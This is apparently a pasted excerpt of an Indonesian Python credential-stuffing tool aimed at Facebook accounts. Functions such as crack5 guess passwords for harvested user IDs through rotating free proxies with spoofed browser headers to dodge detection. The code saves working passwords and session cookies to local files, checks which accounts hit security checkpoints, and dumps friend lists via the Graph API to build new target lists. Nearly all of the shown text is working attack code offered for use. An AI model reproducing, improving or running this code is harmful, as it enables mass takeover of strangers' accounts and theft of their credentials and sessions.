  934.                link = ses.get("https://m.alpha.facebook.com/login.php?skip_api_login=1&api_key=923560728108869&kid_directed_site=0&app_id=923560728108869&signed_next=1&next=https%3A%2F%2Fm.alpha.facebook.com%2Fv4.0%2Fdialog%2Foauth%3Fclient_id%3D923560728108869%26redirect_uri%3Dhttps%253A%252F%252Fm.vidio.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Dpublic_profile%252C%2Bemail%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D1a6e89e0-aa8e-44c6-94a8-64fac35ccaec%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  935.                date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  936.             'had_cp_prefilled': 'false',
  937.             'had_password_prefilled': 'false',
  938.             'is_smart_lock': 'true',
  939.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  940.             "__dyn": "",
  941.             "__csr": "",
  942.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  943.             "__a": "",
  944.             "__user": "0",
  945.             "_fb_noscript": "true"}
  946.                cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])    
  947.                bahasa = rc(['en-US;q=0.8,en;q=0.7','en-GB;q=0.8,en;q=0.7','zh-CN;q=0.8,zh;q=0.7','ms_MY;q=0.8,ms;q=0.7','fr_FR;q=0.8,fr;q=0.7','id-ID;q=0.8,id;q=0.7','jv-ID;q=0.8,id;q=0.7'])
  948.                head = {"Host": "m.alpha.facebook.com",
  949.             "content-length": f"{len(str(date))}",
  950.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  951.             "sec-ch-ua-mobile": "?1",
  952.             "user-agent": ua,
  953.             "viewport-width": f"str(rr(400,989)",
  954.             "content-type": "application/x-www-form-urlencoded",
  955.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  956.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  957.             "x-asbd-id": "129477",
  958.             "x-requested-with": "mark.via.gp",
  959.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  960.             "sec-ch-prefers-color-scheme": "light",
  961.             "sec-ch-ua-platform": '"Android"',
  962.             "accept": "*/*",
  963.             "origin": "https://m.alpha.facebook.com",
  964.             "sec-fetch-site": "none",
  965.             "sec-fetch-mode": "navigate",
  966.             "sec-fetch-dest": "document",
  967.             "referer": "https://free.facebook.com/v4.0/dialog/oauth?response_type=code&client_id=923560728108869&redirect_uri=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback&state=796d0cb30a47b485779b044fe00412aaf7a6176bdaa6da23&scope=public_profile%2C+email&ret=login&fbapp_pres=0&logger_id=316f61e8-edf0-4bff-9e1b-db57cccc4337&tp=unspecified",
  968.             "accept-encoding": "gzip, deflate, br",
  969.             "accept-language": bahasa,
  970.             "x-response-format": "JSONStream"} 
  971.                po = ses.post("https://m.alpha.facebook.com/login/device-based/login/async/?refsrc=deprecated&lwv=100",headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  972.                if 'c_user' in ses.cookies.get_dict().keys():
  973.                     ses = requests.Session()
  974.                     headapp = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
  975.                     if 'ya' in taplikasi:
  976.                          ok+=1
  977.                          coki=po.cookies.get_dict()
  978.                          open('/sdcard/MBF-OK/'+okc,'a').write(idf+'|'+pw+'\n')
  979.                          tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  980.                          oku = tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green]{tahun(idf)} ",style=f"white"))
  981.                          aktif = requests.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",headers=headapp,cookies=coki).text
  982.                          soup = par(aktif, "html.parser")
  983.                          ayu = tree.add(Panel.fit(f"[green] Aplikasi Aktive ",style=f"white"))
  984.                          for ah in soup.find_all("h3"):
  985.                               if "Ditambahkan" in ah.text:
  986.                                    ayu.add(f"{puti}{str(ah.text).replace(f'Ditambahkan',f' {hijo}Ditambahkan')}{puti}")
  987.                          oke = tree.add(Panel.fit(f"[green]{coki}",style=f"white"))
  988.                          oke.add(Panel.fit(f"[green]{ua}",style=f"white"))
  989.                          inactiv = requests.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",headers=headapp,cookies=coki).text
  990.                          siu = par(inactiv, "html.parser")
  991.                          he = tree.add(Panel.fit(f"[yellow] Aplikasi Expired ",style=f"white"))
  992.                          for ina in siu.find_all("h3"):
  993.                               if "Kedaluwarsa" in ina.text:
  994.                                    he.add(f"{puti}{str(ina.text).replace('Kedaluwarsa',f' {kun}Kedaluwarsa')}{puti}")
  995.                          link1 = requests.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=removed",headers=headapp,cookies=coki).text
  996.                          html = par(link1, "html.parser")
  997.                          he = tree.add(Panel.fit(f"[red] Aplikasi Deleted ",style=f"white"))
  998.                          for i in html.find_all("h3"):
  999.                               if "Dihapus" in i.text:
  1000.                                    he.add(f"{puti}{str(i.text).replace('Dihapus',f' {mer}Dihapus')}{puti}")
  1001.                          prints(tree)
  1002.                          break
  1003.                          
  1004.                     elif 'no' in taplikasi:
  1005.                          ok+=1
  1006.                          coki = ses.cookies.get_dict()
  1007.                          kuki = "datr=" + coki["datr"] + ";" + ("sb=" + coki["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + coki["c_user"]) + ";" + ("xs=" + coki["xs"]) + ";" + ("fr=" + coki["fr"]) + ";"
  1008.                          tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  1009.                          oku = tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green]{tahun(idf)} ",style=f"white"))
  1010.                          oke = tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  1011.                          oke.add(Panel.fit(f"[green]{ua}",style=f"white"))
  1012.                          open('/sdcard/MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1013.                          prints(tree)
  1014.                          break
  1015.                    
  1016.                elif "checkpoint" in po.cookies.get_dict().keys():
  1017.                     tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
  1018.                     cpu = tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow]{tahun(idf)} ",style=f"white"))
  1019.                     cpe = tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
  1020.                     prints(tree)
  1021.                     open('/sdcard/MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1022.                     akune.append(idf+'|'+pw)
  1023.                     ceker(idf,pw)
  1024.                     cp+=1
  1025.                     break
  1026.                    
  1027.                else:continue
  1028.           except requests.exceptions.ConnectionError:
  1029.                time.sleep(31)
  1030.      loop+=1
  1031.      
  1032. ###----------[ MBF-05 ]----------###                       
  1033. def crack5(idf,pwx):
  1034.      global loop,ok,cp
  1035.      ses = requests.Session()
  1036.      rr = random.randint
  1037.      rc = random.choice
  1038.      emot = rc(["😝","😜","πŸ€ͺ"])
  1039.      prog.update(des,description=f"\r[white] {emot} ( MBF 05 ) ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop}/{len(id)} [white]) ")
  1040.      prog.advance(des)
  1041.      for pw in pwx:
  1042.           try:
  1043.                proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  1044.                open('socksku.txt','w').write(proxs)
  1045.                nip = rc(proxs)
  1046.                proxs = {'http': 'socks4://'+nip}
  1047.                ua = Saran(glento=1)
  1048.                ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  1049.                link = ses.get('https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fmbasic.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  1050.                date = (
  1051.             {
  1052.             "lsd":
  1053.                   re.search('name="lsd" value="(.*?)"', str(link.text)).group(1),
  1054.             "jazoest":
  1055.                   re.search('name="jazoest" value="(.*?)"', str(link.text)).group(1),
  1056.             "uid":idf,
  1057.             "next":"https://mbasic.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified",
  1058.             "flow":"login_no_pin",
  1059.             "pass":pw,
  1060.             }
  1061.         )    
  1062.                cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])    
  1063.                bahasa = rc(['en-US;q=0.8,en;q=0.7','en-GB;q=0.8,en;q=0.7','zh-CN;q=0.8,zh;q=0.7','ms_MY;q=0.8,ms;q=0.7','fr_FR;q=0.8,fr;q=0.7','id-ID;q=0.8,id;q=0.7','jv-ID;q=0.8,id;q=0.7'])
  1064.                head = (
  1065.             {
  1066.             'Host': 'mbasic.facebook.com',
  1067.             'cache-control': 'max-age=0',
  1068.             'dpr': f'{str(rr(1,5))}',
  1069.             'viewport-width': f'{str(rr(400,999))}',
  1070.             'sec-ch-ua': f'"Not?A_Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(108,114))}", "Google Chrome";v="{str(rr(108,114))}"',
  1071.             'sec-ch-ua-mobile': '?1',
  1072.             'sec-ch-ua-platform': '"Android"',
  1073.             'sec-ch-ua-platform-version': f'"{str(rr(5,14))}.0.0"',
  1074.             'sec-ch-ua-full-version-list':f'"Chromium";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Google Chrome";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Not:A-Brand";v="{str(rr(8,20))}.0.0.0"',
  1075.             'sec-ch-prefers-color-scheme': 'light',
  1076.             'upgrade-insecure-requests': '1',
  1077.             'origin': 'https://mbasic.facebook.com',
  1078.             'content-type': 'application/x-www-form-urlencoded',
  1079.             'user-agent': ua,
  1080.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  1081.             'x-requested-with': 'com.facebook.katana',
  1082.             'sec-fetch-site': 'none',
  1083.             'sec-fetch-mode': 'navigate',
  1084.             'sec-fetch-user': '?1',
  1085.             'sec-fetch-dest': 'document',
  1086.             'referer': 'https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2F{url}%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
  1087.             'accept-encoding': 'gzip, deflate, br',
  1088.             'accept-language': bahasa,
  1089.             }
  1090.         )
  1091.                po = ses.post("https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0",headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  1092.                if 'c_user' in ses.cookies.get_dict().keys():
  1093.                     ses = requests.Session()
  1094.                     headapp = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
  1095.                     if 'ya' in taplikasi:
  1096.                          ok+=1
  1097.                          coki=po.cookies.get_dict()
  1098.                          open('/sdcard/MBF-OK/'+okc,'a').write(idf+'|'+pw+'\n')
  1099.                          tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  1100.                          oku = tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green]{tahun(idf)} ",style=f"white"))
  1101.                          aktif = requests.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",headers=headapp,cookies=coki).text
  1102.                          soup = par(aktif, "html.parser")
  1103.                          ayu = tree.add(Panel.fit(f"[green] Aplikasi Aktive ",style=f"white"))
  1104.                          for ah in soup.find_all("h3"):
  1105.                               if "Ditambahkan" in ah.text:
  1106.                                    ayu.add(f"{puti}{str(ah.text).replace(f'Ditambahkan',f' {hijo}Ditambahkan')}{puti}")
  1107.                          oke = tree.add(Panel.fit(f"[green]{coki}",style=f"white"))
  1108.                          oke.add(Panel.fit(f"[green]{ua}",style=f"white"))
  1109.                          inactiv = requests.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",headers=headapp,cookies=coki).text
  1110.                          siu = par(inactiv, "html.parser")
  1111.                          he = tree.add(Panel.fit(f"[yellow] Aplikasi Expired ",style=f"white"))
  1112.                          for ina in siu.find_all("h3"):
  1113.                               if "Kedaluwarsa" in ina.text:
  1114.                                    he.add(f"{puti}{str(ina.text).replace('Kedaluwarsa',f' {kun}Kedaluwarsa')}{puti}")
  1115.                          link1 = requests.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=removed",headers=headapp,cookies=coki).text
  1116.                          html = par(link1, "html.parser")
  1117.                          he = tree.add(Panel.fit(f"[red] Aplikasi Deleted ",style=f"white"))
  1118.                          for i in html.find_all("h3"):
  1119.                               if "Dihapus" in i.text:
  1120.                                    he.add(f"{puti}{str(i.text).replace('Dihapus',f' {mer}Dihapus')}{puti}")
  1121.                          prints(tree)
  1122.                          break
  1123.                          
  1124.                     elif 'no' in taplikasi:
  1125.                          ok+=1
  1126.                          coki = ses.cookies.get_dict()
  1127.                          kuki = "datr=" + coki["datr"] + ";" + ("sb=" + coki["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + coki["c_user"]) + ";" + ("xs=" + coki["xs"]) + ";" + ("fr=" + coki["fr"]) + ";"
  1128.                          tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  1129.                          oku = tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green]{tahun(idf)} ",style=f"white"))
  1130.                          oke = tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  1131.                          oke.add(Panel.fit(f"[green]{ua}",style=f"white"))
  1132.                          open('/sdcard/MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1133.                          prints(tree)
  1134.                          break
  1135.                    
  1136.                elif "checkpoint" in po.cookies.get_dict().keys():
  1137.                     tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
  1138.                     cpu = tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow]{tahun(idf)} ",style=f"white"))
  1139.                     cpe = tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
  1140.                     prints(tree)
  1141.                     open('/sdcard/MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1142.                     akune.append(idf+'|'+pw)
  1143.                     ceker(idf,pw)
  1144.                     cp+=1
  1145.                     break
  1146.                    
  1147.                else:continue
  1148.           except requests.exceptions.ConnectionError:
  1149.                time.sleep(31)
  1150.      loop+=1
  1151.              
  1152. ###----------[ OPSI ]----------###     
  1153. def ceker(idf,pw):
  1154.     global cp
  1155.     rc = random.choice
  1156.     ses = requests.Session()
  1157.     url = "mbasic.facebook.com"
  1158.     head = ({"Host": url,"cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://"+url,"content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Android 10; D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Mobile Safari/537.36","accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","x-requested-with": "mark.via.gp","sec-fetch-site": "none","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": f"https://{url}/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F","accept-encoding": "gzip, deflate","accept-language": "en-US,en;q=0.9"})
  1159.     try:
  1160.         hi = ses.get('https://'+url)
  1161.         kontol = sop(ses.post(
  1162.         'https://'+url+'/login.php',
  1163.         data={
  1164.         'email':idf,
  1165.     'pass':pw,
  1166. 'login':'submit'
  1167.         },headers=head, allow_redirects=True).text,'html.parser')
  1168.         jo = kontol.find(
  1169.         'form'
  1170.         )
  1171.         data = {}
  1172.         lion = [
  1173.         'nh',
  1174.     'jazoest',
  1175. 'fb_dtsg',
  1176.     'submit[Continue]',
  1177.         'checkpoint_data'
  1178.         ]
  1179.         for anj in jo('input'):
  1180.             if anj.get('name') in lion:
  1181.                 data.update({anj.get('name'):anj.get('value')})
  1182.         kent = sop(ses.post('https://'+url+str(jo['action']), data=data, headers=head).text,'html.parser')
  1183.         opsi = kent.find_all('option')
  1184.         if len(opsi)==0:
  1185.             tree = Tree("")
  1186.             tree.add(Panel.fit(f"\r[green] Tapyes / A2f ( cek di mbasic ) ",style=f"white"))
  1187.             prints(tree)
  1188.             #open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1189.             #cp+=1
  1190.         else:
  1191.             for opsii in opsi:
  1192.                 print('\r%s---> %s%s'%(kk,opsii.text,x))
  1193.     except Exception as c:
  1194.         tree = Tree("")
  1195.         tree.add(Panel.fit(f"\r[red] Spam IP Tidak Dapat Cek Opsi Checkpoint ",style=f"white"))
  1196.         prints(tree)
  1197.         #open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1198.         #cp+=1
  1199.  
  1200. ###----------[ HASIL-OK ]----------###    
  1201. def hasil_ok():
  1202.     try:vin = os.listdir('MBF-OK')
  1203.     except FileNotFoundError:
  1204.          prints(Panel.fit(f'File tidak di temukan',style=f'red'))
  1205.          exit()
  1206.     if len(vin)==0:
  1207.          prints(Panel.fit(f'Tidak mempunyai file OK',style=f'red'))
  1208.          exit()
  1209.     else:
  1210.         print(f"\x1b[0m╭────────────────────────────────────────────")
  1211.         cih = 0
  1212.         lol = {}
  1213.         for isi in vin:
  1214.             try:hem = open('MBF-OK/'+isi,'r').readlines()
  1215.             except:continue
  1216.             cih+=1
  1217.             if cih<100:
  1218.                  nom = '0'+str(cih)
  1219.                  lol.update({str(cih):str(isi)})
  1220.                  lol.update({nom:str(isi)})
  1221.                  print(f'\x1b[0m└──[ %s. %s ({hijo} %s\x1b[0m Idz )'%(nom,isi,len(hem)))
  1222.             else:
  1223.                  lol.update({str(cih):str(isi)})
  1224.                  print(f'\x1b[0m└──[ %s. %s ({hijo} %s\x1b[0m Idz )'%(nom,isi,len(hem)))
  1225.         print(f"\x1b[0m╭────────────────────────────────────────────")
  1226.         geeh = input(f'\x1b[0m└──[ Pilih file : ')
  1227.         try:geh = lol[geeh]
  1228.         except KeyError:
  1229.              prints(Panel.fit(f'Pemasukan salah',style=f'red'))
  1230.              exit()
  1231.         try:lin = open('MBF-OK/'+geh,'r').read().splitlines()
  1232.         except:
  1233.             prints(Panel.fit(f'File tidak di temukan',style=f'red'))
  1234.             exit()
  1235.         nocp=0
  1236.         for cpku in range(len(lin)):
  1237.             cpkuni=lin[nocp].split('|')
  1238.             tree = Tree("")
  1239.             tree.add(f"{hijo}{cpkuni[0]}\x1b[0m").add(f"{hijo}{cpkuni[1]}\x1b[0m")
  1240.             tree.add(f"{hijo}{cpkuni[2]}\x1b[0m")
  1241.             prints(tree)
  1242.             nocp +=1
  1243.         print(f"\x1b[0m╭────────────────────────────────────────────")
  1244.         input(f'\x1b[0m└──[ {mer}Klik Enter \x1b[0m]')
  1245.         menu()  
  1246.  
  1247. ###----------[ HASIL-CP ]----------###      
  1248. def hasil_cp():
  1249.     try:vin = os.listdir('MBF-CP')
  1250.     except FileNotFoundError:
  1251.         prints(Panel.fit(f'File tidak di temukan',style=f'red'))
  1252.         exit()
  1253.     if len(vin)==0:
  1254.         prints(Panel.fit(f'Tidak mempunyai file CP',style=f'red'))
  1255.         exit()
  1256.     else:
  1257.         print(f"\x1b[0m╭────────────────────────────────────────────")
  1258.         cih = 0
  1259.         lol = {}
  1260.         for isi in vin:
  1261.             try:hem = open('MBF-CP/'+isi,'r').readlines()
  1262.             except:continue
  1263.             cih+=1
  1264.             if cih<100:
  1265.                  nom = str(cih)
  1266.                  lol.update({str(cih):str(isi)})
  1267.                  lol.update({nom:str(isi)})
  1268.                  print(f'\x1b[0m└──[ %s. %s ({kun} %s\x1b[0m Idz )'%(nom,isi,len(hem)))
  1269.             else:
  1270.                  lol.update({str(cih):str(isi)})
  1271.                  print(f'\x1b[0m└──[ %s. %s ({kun} %s\x1b[0m Idz )'%(nom,isi,len(hem)))
  1272.         print(f"\x1b[0m╭────────────────────────────────────────────")
  1273.         geeh = input(f'\x1b[0m└──[ Pilih file : ')
  1274.         try:geh = lol[geeh]
  1275.         except KeyError:
  1276.             prints(Panel.fit(f'Pemasukan salah',style=f'red'))
  1277.             exit()
  1278.         try:lin = open('MBF-CP/'+geh,'r').read().splitlines()
  1279.         except:
  1280.             prints(Panel.fit(f'File tidak di temukan',style=f'red'))
  1281.             exit()
  1282.         nocp=0
  1283.         for cpku in range(len(lin)):
  1284.             cpkuni=lin[nocp].split('|')
  1285.             tree = Tree("")
  1286.             tree.add(f"{kun}{cpkuni[0]}\x1b[0m").add(f"{kun}{cpkuni[1]}\x1b[0m")
  1287.             prints(tree)
  1288.             nocp +=1
  1289.         print(f"\x1b[0m╭────────────────────────────────────────────")
  1290.         input(f'\x1b[0m└──[ {mer}Klik Enter \x1b[0m]')
  1291.         menu()  
  1292.        
  1293. ###----------[ DUMP-FILE ]----------###            
  1294. def dump_target(cok,token):
  1295.     try:
  1296.         os.mkdir('/sdcard/MBF-DUMP')
  1297.     except:
  1298.          pass
  1299.     try:
  1300.         head = ({"user-agent": "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Mobile Safari/537.36"})
  1301.         if len(id) == 0:
  1302.             params = ({'access_token': token,'fields': "friends"})
  1303.         else:
  1304.             params = ({'access_token': token,'fields': "friends"})
  1305.         print(f"\x1b[0m╭────────────────────────────────────────────")
  1306.         xyc = input(f"\x1b[0m└──[ UID : ")
  1307.         print(f"\x1b[0m╭────────────────────────────────────────────")
  1308.         xyd = input(f"\x1b[0m└──[ Name file dump : ")
  1309.         xxr  = ('/sdcard/MBF-DUMP/' + xyd + '.txt').replace(' ', '_')
  1310.         xxx = open(xxr, 'w')
  1311.         xnx = requests.get('https://graph.facebook.com/{}'.format(xyc),params=params,headers=head,cookies={'cookies':cok}).json()
  1312.         for xxn in xnx['friends']['data']:
  1313.             id.append(xxn['id']+'|'+xxn['name'])
  1314.             xxx.write(xxn['id']+'|'+xxn['name']+ '\n')
  1315.             print('\r\x1b[0m└──[ ID : %s '%(len(id)),end='')
  1316.             time.sleep(0.0050)
  1317.         print(f"\n\x1b[0m╭────────────────────────────────────────────")
  1318.         print(f"\x1b[0m└──[ Berhasil Dump Id Dari Publik")
  1319.         print(f"\x1b[0m└──[ Salin Output File ( %s )"%(xxr))
  1320.         exit()
  1321.     except (KeyError,IOError):
  1322.         os.remove(xxr)
  1323.         prints(Panel.fit(f"[red] Gagal dump id tidak publik ",style=f"white"))
  1324.         time.sleep(3)
  1325.         menu()
  1326.                                
  1327. ###----------[ OKEH ]----------###                 
  1328. def okeh():
  1329.     oke = Tree(Panel.fit(f"\r[white] Crack Telah Selesai Dengan Jumlah [green]OK : {ok}[white] Dan Jumlah [yellow]CP : {cp} ",style=f"white"))
  1330.     oke.add(Panel.fit(f"\r[white] Apakah Ingin Lanjut Crack Kembali (y/t) ",style=f"white"))
  1331.     prints(oke)
  1332.     gas = input(f"\x1b[0m└──[ Pilih : ")
  1333.     if gas in ['y','Y','ya','YA']:
  1334.         menu()
  1335.     else:
  1336.         oke = Tree("")
  1337.         oke.add(Panel.fit(f"\r[yellow] Good Byee Jangan Lupa Bersyukur Dengan Hasilnya ",style=f"white"))
  1338.         prints(oke)
  1339.         time.sleep(2)
  1340.         exit()
  1341.  
  1342. ###----------[ SYSTEM ]----------###        
  1343. if __name__=='__main__':
  1344.     try:os.system('git pull')
  1345.     except:pass
  1346.     try:os.mkdir('MBF-DUMP')
  1347.     except:pass
  1348.     try:os.mkdir('MBF-OK')
  1349.     except:pass
  1350.     try:os.mkdir('MBF-CP')
  1351.     except:pass
  1352.     login()
Add Comment
Please, Sign In to add comment